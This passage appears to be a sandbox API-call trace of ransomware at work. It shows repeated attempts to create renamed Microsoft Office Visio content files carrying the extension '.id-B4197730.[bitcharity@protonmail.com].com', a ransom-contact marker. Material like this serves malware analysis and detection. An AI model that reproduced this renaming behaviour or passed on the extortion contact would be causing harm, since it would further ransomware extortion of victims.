[0276.799] CloseHandle (hObject=0x1154) returned 1 [0276.801] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.801] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\RCKSVR_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\rcksvr_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.801] CloseHandle (hObject=0x1154) returned 1 [0276.802] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.803] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\RECRT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\recrt_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.803] CloseHandle (hObject=0x1154) returned 1 [0276.804] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.804] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\RECRT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\recrt_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.804] CloseHandle (hObject=0x1154) returned 1 [0276.805] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.805] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\RECRT_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\recrt_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.805] CloseHandle (hObject=0x1154) returned 1 [0276.806] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.806] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\RECRT_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\recrt_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.807] CloseHandle (hObject=0x1154) returned 1 [0276.807] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.807] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\RECSHP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\recshp_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.808] CloseHandle (hObject=0x1154) returned 1 [0276.808] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.809] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\RECSHP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\recshp_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.809] CloseHandle (hObject=0x1154) returned 1 [0276.810] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.810] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\REGSTR_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\regstr_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.810] CloseHandle (hObject=0x1154) returned 1 [0276.811] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.811] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\REGSTR_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\regstr_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.811] CloseHandle (hObject=0x1154) returned 1 [0276.812] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.812] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ROAD_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\road_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.813] CloseHandle (hObject=0x1154) returned 1 [0276.813] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.813] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ROAD_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\road_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.814] CloseHandle (hObject=0x1154) returned 1 [0277.499] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.499] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SDCALL_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sdcall_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.500] CloseHandle (hObject=0x11bc) returned 1 [0277.501] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.501] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SDCALL_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sdcall_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.501] CloseHandle (hObject=0x11bc) returned 1 [0277.502] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.502] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SDCONT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sdcont_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.502] CloseHandle (hObject=0x11bc) returned 1 [0277.503] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.503] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SDCONT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sdcont_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.503] CloseHandle (hObject=0x11bc) returned 1 [0277.504] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.504] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SDL_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sdl_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.505] CloseHandle (hObject=0x11bc) returned 1 [0277.506] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.506] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SDL_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sdl_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.506] CloseHandle (hObject=0x11bc) returned 1 [0277.507] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.507] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SDL_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sdl_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.507] CloseHandle (hObject=0x11bc) returned 1 [0277.508] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.508] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SDL_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sdl_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.509] CloseHandle (hObject=0x11bc) returned 1 [0277.509] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.510] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SECACC_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\secacc_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.510] CloseHandle (hObject=0x11bc) returned 1 [0277.511] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.511] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SECACC_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\secacc_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.512] CloseHandle (hObject=0x11bc) returned 1 [0277.512] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.513] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SERVER_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\server_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.513] CloseHandle (hObject=0x11bc) returned 1 [0277.514] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.514] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SERVER_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\server_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.514] CloseHandle (hObject=0x11bc) returned 1 [0277.515] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.515] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SERVME_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\servme_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.515] CloseHandle (hObject=0x11bc) returned 1 [0277.516] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.516] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SERVME_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\servme_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.516] CloseHandle (hObject=0x11bc) returned 1 [0277.517] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.517] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SHAREPOINT_EXTRANETTOPOLOGY_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sharepoint_extranettopology_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.517] CloseHandle (hObject=0x11bc) returned 1 [0277.518] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.519] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SHAREPOINT_EXTRANETTOPOLOGY_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\sharepoint_extranettopology_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.519] CloseHandle (hObject=0x11bc) returned 1 [0277.520] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.520] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SHPMCH_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\shpmch_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.520] CloseHandle (hObject=0x11bc) returned 1 [0277.521] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.521] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SHPMCH_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\shpmch_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.521] CloseHandle (hObject=0x11bc) returned 1 [0277.522] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.522] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SHPREC_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\shprec_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.522] CloseHandle (hObject=0x11bc) returned 1 [0277.523] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.523] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SHPREC_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\shprec_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.524] CloseHandle (hObject=0x11bc) returned 1 [0277.526] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.526] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SHPSTR_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio 